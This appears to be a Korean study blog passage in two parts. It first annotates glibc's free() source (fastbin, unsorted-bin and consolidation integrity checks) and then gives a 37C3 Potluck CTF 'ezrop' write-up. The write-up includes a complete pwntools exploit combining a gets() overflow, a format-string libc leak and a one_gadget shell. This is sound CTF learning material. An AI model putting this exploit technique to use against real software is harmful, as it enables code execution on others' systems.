      && (chunk_at_offset(p, size) != av->top)
#endif
      )** {

    if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
              <= CHUNK_HDR_SZ, 0)
    || __builtin_expect (chunksize (chunk_at_offset (p, size))
                 >= av->system_mem, 0))
      {
    bool fail = true;
    /* We might not have a lock at this point and concurrent modifications
       of system_mem might result in a false positive.  Redo the test after
       getting the lock.  */
    if (!have_lock)
      {
        __libc_lock_lock (av->mutex);
        fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
            || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
        __libc_lock_unlock (av->mutex);
      }

    if (fail)
      malloc_printerr ("free(): invalid next size (fast)");
      }

해당 if문에서 size의 값이 fastbin의 범위에 들어가는지를 확인하고 있는 것으로 보아 이 조건문 내부에서는 fastbin에 넣는 free가 실행될 것임을 생각해볼 수 있다.

추가적으로 TRIM_FASTBINS가 설정되어있다면 추가적인 검증조건이 존재한다. 초기값은 0인 것 같은데 어떤 경우에 1이 되는지는 잘 모르겠다.

계속 살펴보자.

__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0) 가 참이라면 fail은 true가 되고 fail이 true라면 "free(): invalid next size (fast)"가 출력되며 에러가 날 것이다.

따라서 이 조건문은 청크의 next size를 검증하는 것 같다.

좀 더 자세히 살펴보면 ||(or)로 연결되어 있는 두 조건 중 첫 번째는 해제할 청크의 다음 청크의 사이즈가 헤더의 크기, 즉 0x10보다 작지는 않은지를 검사하며 두 번째 조건은 다음 청크의 사이즈가 해제할 청크가 속하는 arena의 system_mem값보다 크지는 않은지를 검사한다. (system_mem은 해당 arena에서 시스템에 의해 할당 받은 메모리의 전체 크기를 의미한다).

두 조건 중 하나에 해당된다면 뭔가 잘못된 사이즈 값을 갖고 있는 것이므로 에러를 발생시키는 것임을 알 수 있고, fastbin의 경우에는 다음 청크의 size값까지 검증 대상에 들어가고 있음을 알 수 있다. 확실히 tcache보다는 뭔가 보호기법들이 빡센 느낌이다.

    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

    atomic_store_relaxed (&av->have_fastchunks, true);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;

위의 조건들을 무사히 통과했다면 실행되는 부분들이다.

해제할 청크를 perturb_byte가 0이 아니라면 perturb_byte로 헤더를 제외한 모든 영역을 채워준다.

그리고 p가 속한 arena의 have_fastchunks값을 true로 바꾸어준다. malloc_state 구조체에서 fastbin chunks가 최근에 free blocks에 추가되었다면 set되는 값이다.

그리고 맨 처음에 mfastbinptr *fb; 과 같이 선언되었던 변수 fb에 현재 해제할 청크에 해당하는 idx의 fastbin리스트의 주소를 대입한다. (fastbin(av, idx)는 매크로로 av→fastbinsY[idx]와 동일하다.)

다음으로는 old에 *fb를 대입하는데, 이 과정에서는 mchunkptr형 변수 old가 현재 다루고 있는 fastbin리스트에 가장 마지막으로 들어간 청크를 가리키게 될 것이다.

if (SINGLE_THREAD_P)
      {
    /* Check that the top of the bin is not the record we are going to
       add (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      malloc_printerr ("double free or corruption (fasttop)");
    p->fd = PROTECT_PTR (&p->fd, old);
    *fb = p;
      }
    else
      do
    {
      /* Check that the top of the bin is not the record we are going to
         add (i.e., double free).  */
      if (__builtin_expect (old == p, 0))
        malloc_printerr ("double free or corruption (fasttop)");
      old2 = old;
      p->fd = PROTECT_PTR (&p->fd, old);
    }
      while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
         != old2);

그리고 싱글 스레드인지의 여부에 따라 두 가지로 나뉘어 실행된다.

만약 싱글 스레드라면 다음과 같다.

우선 old==p의 여부를 확인하여 가장 최근에 fastbin에 들어간 청크와 현재 해제할 청크가 동일하다면 double free를 감지하여 오류를 발생시킨다. 이 조건문은 fastbin dup을 공부할 때 많이 보던 부분이다. 그리고 이 조건을 통과하면 p의 fd에 old의 값을 대입하고 *fb에 p를 대입한다. 즉, fastbin에 현재 free할 청크를 추가한다.

만약 싱글 쓰레드가 아니라면 (old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2 가 참이 아닐때까지 특정 과정을 반복한다.

반복문 내부는 다음과 같다.

우선 old==p의 여부를 검사해 double free여부를 검사한 다음, p의 fd값을 old로 바꾸어준다. 여기서는 old2라는 변수가 하나 더 사용되는데 정확한 매커니즘은 잘 모르겠지만 단일 스레드가 아닌 상황에서의 fastbin 리스트에 청크를 추가하는 과정이 이루어지는 듯 하다.

/* Check that size of fastbin chunk at the top is the same as
       size of the chunk that we are adding.  We can dereference OLD
       only if we have the lock, otherwise it might have already been
       allocated again.  */
    if (have_lock && old != NULL
    && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
      malloc_printerr ("invalid fastbin entry (free)");
  }

fastbin에 해당하는 경우의 마지막 보호기법이다. fastbin poisoning을 공부할 때 우회해야 할 보호기법으로 많이 보던 조건과 형태가 매우 유사하다. 우선 have_lock이 0이 아니면서 old가 널이 아닐 때에 한하여 __builtin_expect (fastbin_index (chunksize (old)) != idx 라는 조건을 검사하게 된다. 이 조건이 의미하고 있는 바는 old의 chunksize에 해당하는 인덱스의 값이 현재 우리가 청크를 추가하고 있는 리스트의 인덱스 값과 같은지의 여부를 판단하는 것이다. 그런데 애초에 idx의 값이 할당할 청크의 size로부터 가져와지는 점, 그리고 우리가 청크를 넣을 bin이 idx값을 바탕으로 선택되는 점을 고려하면 이 보호기법에 걸리는 상황은 흔하지는 않을 듯 하다.

어쨌든 위 보호기법을 마지막으로 fasbin에 들어가는 경우의 free가 마무리되었다.

만약 fastbin에 해당하는 경우라면 여기서 free가 종료될 것이다.

2. else if문

여기서 부터는 fastbin이 아닌 다른 경우+mmap으로 할당받지 않은 경우의 free가 진행될 것이다. 맨위의 주석을 보면 consolidate과정도 함께 일어나는 듯 하다.

/*
    Consolidate other non-mmapped chunks as they arrive.
  */

**else if (!chunk_is_mmapped(p))** {

    /* If we're single-threaded, don't lock the arena.  */
    if (SINGLE_THREAD_P)
      have_lock = true;

    if (!have_lock)
      __libc_lock_lock (av->mutex);

    nextchunk = chunk_at_offset(p, size);

    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely (p == av->top))
      malloc_printerr ("double free or corruption (top)");
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    if (__builtin_expect (contiguous (av)
              && (char *) nextchunk
              >= ((char *) av->top + chunksize(av->top)), 0))
    malloc_printerr ("double free or corruption (out)");
    /* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      malloc_printerr ("double free or corruption (!prev)");

    nextsize = chunksize(nextchunk);
    if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
    || __builtin_expect (nextsize >= av->system_mem, 0))
      malloc_printerr ("free(): invalid next size (normal)");

    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

만약 싱글 스레드라면 have_lock을 true로 바꾼다.

그리고 have_lock의 값이 0이라면 (아마도 싱글스레드가 아니라면) 해당하는 아레나의 mutex값을 가지고 락을 건다. 잘은 모르지만 뮤텍스같은건 멀티 스레드 상황에서 레이스 컨디션을 방지하기 위한 조치로 알고 있기 때문에 뭔가 내가 알고 있는 지식들과 일맥상통하는 듯 하다. 내가 추상적으로 알고있던 지식들이 코드로 구현, 제어되고 있는 것을 보는 것 같아서 조금 흥미로웠다.

청크를 가리키는 포인터변수 nextchunk에 p의 바로 다음에 위치하는 청크의 주소(p의 주소+p의 size값에 해당)를 대입한다. (확실하진 않지만 병합을 위해 필요할 것 같은 느낌이다.)

+이건 backward병합까지 본 다음 생각난 사실인데, 한 청크 내부에서는 이전 청크의 size나 사용 여부와 같은 정보는 존재하지만 다음 청크의 정보는 담고 있지 않기 때문에 따로 next와 관련된 변수들을 선언하여 관리하는 듯 하다. 다음 청크로의 접근은 현재 청크의 주소에 size만큼의 offset을 더한 주소로 이루어진다.

다음으로는 세 가지 검사 과정을 거친다. 오류 메시지를 보면 double free나 corruption을 감지하는 듯 하다.

우선 첫 번째로는 p가 top block인지를 확인하고 두 번째로는 nextchunk가 top chunk의 베이스 주소+topchunk의 size보다 큰 지의 여부, 즉 현재 아레나에 할당된 메모리 영역 내부에 있는지를 확인한다. 마지막으로는 next_chunk의 prev_inuse flag가 set되어있는지를 확인한다. prev_inuse는 직전 청크가 사용중인지를 나타내므로 현재 free할 청크가 in-use가 아니라면 오류가 발생하게 된다.

그리고 nextsize라는 값에 nextchunk의 size값을 대입하고, 또 다시 검증을 거친다.

이번에는 nextchunk의 사이즈가 헤더의 크기 0x10보다 작지는 않은지, system_mem값보다 크지는 않은지를 검사한다.

여기까지만 봐도 뭔가 arena영역에서의 청크 조작은 매우 까다로울 것이라는 것을 알 수 있다. 왜 힙 익스에서 tcache가 주요 공격 대상이 되는지 이해가 된다.

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

이제 병합 과정이 이루어지는 듯 하다. 먼저 backward로의 병합이 이루어진다.

만약 p의 prev_inuse가 0이라면, 즉 p의 직전 청크가 사용중이 아니라면 이는 곧 병합의 대상이라는 의미이기 때문에 조건문 내부로 들어가서 직전 청크와 p의 병합이 이루어진다.

우선 size에 prevsize의 값을 더해 사이즈를 이전 청크+현재 청크로 늘려준다.

그리고 현재 청크의 주소를 담고 있는 p에는 이전 청크의 size만큼 값을 빼주어 p가 이전 청크를 가리키도록 만든다.

그리고 이전 청크의 주소로 바뀐 p가 가리키는 size값과 prevsize값의 일치 여부를 검사한다.

이후 unlink_chunk로 arena로부터 p를 unlink한다.

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
    unlink_chunk (av, nextchunk);
    size += nextsize;
      } else
    clear_inuse_bit_at_offset(nextchunk, 0);

그리고 nextchunk가 top block에 해당되지 않는다면 nextchunk의 직후에 위치하는 청크의 prev_inuse flag값을 가져와 nextchunk가 사용중인지를 확인한다. 만약 사용중이 아니라면 nextchunk까지도 arena에서 unlink하고 size에는 nextsize값을 더해준다.

따라서 만약 해제하려는 청크의 앞뒤 청크가 모두 해제 상태라면 p는 직전 청크의 주소를 가리키며 size는 직전 청크+현재청크+직후청크의 사이즈값이 될 것이다.

만약 nextchunk가 사용중이었다면 nextchunk의 prev_inuse flag를 해제하여 이전 청크가 해제되었다는 것을 표시해준다.

      /*
    Place the chunk in unsorted chunk list. Chunks are
    not placed into regular bins until after they have
    been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
    malloc_printerr ("free(): corrupted unsorted chunks");
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
    {
      p->fd_nextsize = NULL;
      p->bk_nextsize = NULL;
    }
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }

이제 병합을 완료한 p를 unsorted bin에 넣어줄 차례인 것 같다.

해제된 청크는 tcache, fastbin에 들어가지 않으면 일단 무조건 unsorted bin에 들어간다고 배운 것과 동일하다.

arena로부터 unsorted bin의 값을 가져온다. 여기서 한 번 검증을 거치는데, fwd → bk의 값과 bck가 같지 않으면 오류가 발생하는데 매커니즘을 보면 원래 unsorted bin에서 fwd와 bck는 연결되어있던 관계이다. 그런데 fwd의 bk와 bck가 같지 않다면 청크의 corruption이 일어난 것이므로 오류를 발생시키는 것이다.

이 검증을 통과하고 나면 p의 fd값을 fwd로, p의 bk값을 bck로 만들어 p를 unsorted bin에 삽입한다. 그리고 bck의 fd값과 fwd의 bk값도 p로 바꾸어준다.

그리고 헤더의 size값과 다음 청크의 prev_size값을 size값이 되도록 만들어준다.

그리고 해제된 청크의 값들이 제대로 설정되었는지 확인해준다.

/*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }

이는 이전 if문중 next chunk가 top chunk인지 확인하는 조건의 else문인데, nextchunk가 top chunk에 해당하는 경우이다. 이 경우에는 top chunk에 현재 청크를 병합해준다.

/*
      If freeing a large space, consolidate possibly-surrounding
      chunks. Then, if the total unused topmost memory exceeds trim
      threshold, ask malloc_trim to reduce top.

      Unless max_fast is 0, we don't know if there are fastbins
      bordering top, so we cannot tell for sure whether threshold
      has been reached unless fastbins are consolidated.  But we
      don't want to consolidate on each free.  As a compromise,
      consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
      is reached.
    */

    if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
      if (atomic_load_relaxed (&av->have_fastchunks))
    malloc_consolidate(av);

      if (av == &main_arena) {
#ifndef MORECORE_CANNOT_TRIM
    if ((unsigned long)(chunksize(av->top)) >=
        (unsigned long)(mp_.trim_threshold))
      systrim(mp_.top_pad, av);
#endif
      } else {
    /* Always try heap_trim(), even if the top chunk is not
       large, because the corresponding heap might go away.  */
    heap_info *heap = heap_for_ptr(top(av));

    assert(heap->ar_ptr == av);
    heap_trim(heap, mp_.top_pad);
      }
    }

    if (!have_lock)
      __libc_lock_unlock (av->mutex);
  }

주석을 보면 fastbin의 consolidation과 관련한 부분인 것을 알 수 있다. 효율성을 위해 모든 경우에 실행하기 보다는 특정 조건을 만족하면 (threshold를 넘으면) 시행하는 것으로 보이는데, 여기선 size의 값이 FASTBIN_CONSOLIDATION_THRESHOLD(=0x10000) 이상일 경우, 그리고 av→have_fastchunks가 참일 경우 malloc_consolidate(av); 가 수행된다.

그리고 av가 main_arena인지 아닌지의 여부에 따라 각각 상황에 맞게 힙 영역을 trim한다. 아마 가장 top영역에서 사용되지 않는 크기가 너무 클 경우에 top을 줄이는 과정인 듯 하다.

그리고 lock을 해제하며 두 번째 경우에 해당하는 free가 종료된다.

3. else문

  /*
    If the chunk was allocated via mmap, release via munmap().
  */

  **else** {
    munmap_chunk (p);
  }
}

마지막 경우는 free할 대상이 mmap을 통해 할당받은 경우이다. 이 경우에는 주석에 나와있는대로 munmap을 통해 해제해준다.

<결론>

free과정은 tcache ⇒ fastbin ⇒ 그 외 ⇒ mmaped chunk의 순으로 이루어진다. 확실히 여러 검증 절차를 살펴보면 tcache ⇒ fastbin ⇒ 그 외의 순서로 보호 기법이 더 빡세진다는 것을 알 수 있다. 확실히 tcache가 뭔가 조작하기에는 가장 쉬울 것이라는 것을 충분히 느낄 수 있었다.

[37C3 Potluck CTF]
ezrop (pwn)
64 bit, partial Relro, NX

바이너리와 libc파일이 주어졌다. 우선 IDA로 코드를 살펴보자.

메인 함수는 위와 같이 간단하게 두 함수로 이루어져 있다. ignore_me는 setvbuf함수들로만 이루어져 있고, 중요한 건 vuln이다.

gets(v1)에 의해 BOF가 터진다.

처음에는 간단한 rop문제인 줄 알았는데 바이너리 내 가젯을 확인해보면 pop rdi가 없다. 이거 때문에 좀 많이 해멨다.

처음으로 생각한 방식은 rtc였다. 하지만 rtc를 위한 코드를 찾을 수도 없었다. 다음으로는 partial relro이기 때문에 gets의 인자가 rbp-0x20이므로 bof에서 rbp를 특정 함수의 got+0x20의 값으로 조작하고 다시 한번 gets를 실행시켜 got overwrite을 시도해봤지만 조작된 rbp가 코드 영역에 존재하므로 leave가 실행되면서 오류가 발생해 이 방법을 사용할 수 없었다.

그렇게 익스에 실패했고 이후 디코에서 방법을 알 수 있었다. 바로 gets 종료 후 rax에 rbp-0x20의 값이 들어간다는 것이었다. gets직후의 레지스터 상황인데 rax에 gets의 인자와 동일한 주소가 들어가 있음을 확인할 수 있다. (실제로 gets의 반환값은 인자값이다.)

vuln의 printf는 rax를 rdi에 넣은 다음 실행되기 때문에 vuln종료 후 printf실행 직전으로 jmp시키면 내가 이전에 스택에 gets로 넣어놓은 값을 바탕으로 fsb를 발생시킬 수 있다.

이 부분을 활용해 printf에서 libc를 leak하고 또 다시 gets가 실행될 때 ret을 원가젯으로 덮어 쉘을 따면 될 것 같다.

익스 코드는 아래와 같다.

from pwn import *
#64, Partial, NX
p=process("./ezrop")
e = ELF("./ezrop")

vuln = 0x00000000004011ee
printf_plt =  0x401060#e.plt['printf']
printf_got =  0x000000404018
bss = e.bss()
one = [0xebc85, 0xebc81, 0x50a47, 0xebc88]


payload = b"%3$p\x00" #fsb터지게 할 문자열 + null (rcx leak)
payload += b"A"*(0x20-len(payload))
payload += p64(bss+0x100) #두번째 gets에 유효한 주소가 들어가도록 하기 위함
payload += p64(vuln)


p.sendline(payload)

#printf(%3$p)에 의해 leak된 값으로 libc_base구하기
p.recvuntil(b"Enter your name: ")
libc_base = int(p.recv(14), 16) - 0x219aa0
log.info(hex(libc_base))


#두번째 gets에 대한 페이로드 => 원가젯 실행

payload2 = b"A"*0x20
payload2 += p64(bss+0x200) #원가젯 조건을 맞추기 위해서 (rbp-0x78 is writable)
payload2 += p64(libc_base+one[1])

pause()
p.sendline(payload2)

p.interactive()

익스 과정에서 또다시 주의해주어야 할 점은 rbp값을 신경써야 한다는 점이다.

우선 첫 번째 페이로드에서는 이 페이로드로 인해 바뀌는 rbp값을 기준으로 두 번째 gets(rbp-0x20)이 실행될 것이기 때문에 rbp-0x20이 writable 해야 한다. 따라서 bss영역 + 0x100의 주소로 바꾸어줬다.

그리고 두 번째 페이로드로 인해 바뀌는 rbp값은 원가젯 조건을 맞추기 위해 특정 값을 맞춰줘야 했다.

내가 사용한 원가젯의 조건은 위와 같았는데, 원가젯 실행 당시의 rbp-0x78이 writable해야 하며 rbp-0x70 == NULL을 만족해야 한다. 따라서 gets에 의해 rbp-0x100-0x20의 위치에는 특정값들이 쓰여져 있을 것이므로 이와 충돌하지 않게 bss+0x200정도로 rbp값을 세팅해 두 가지 조건을 맞추어 줬다.

문제의 난이도 자체가 높은 건 아니지만, 이 문제를 풀면서 뭔가 필요한 가젯이 없을 때 어떻게 행동해야 할 지 조금 더 알게 된 것 같다. 앞으로 이런 상황이 생기면 어떻게든 존재하는 코드 내에서 방법이 없을지를 잘 생각해봐야 겠다. 특히 레지스터에 어떤 값들이 존재하는지, 그리고 그 레지스터 값을 이용해 필요한 인자를 세팅할 수 있는지 등을 확인해봐야 할 것 같다.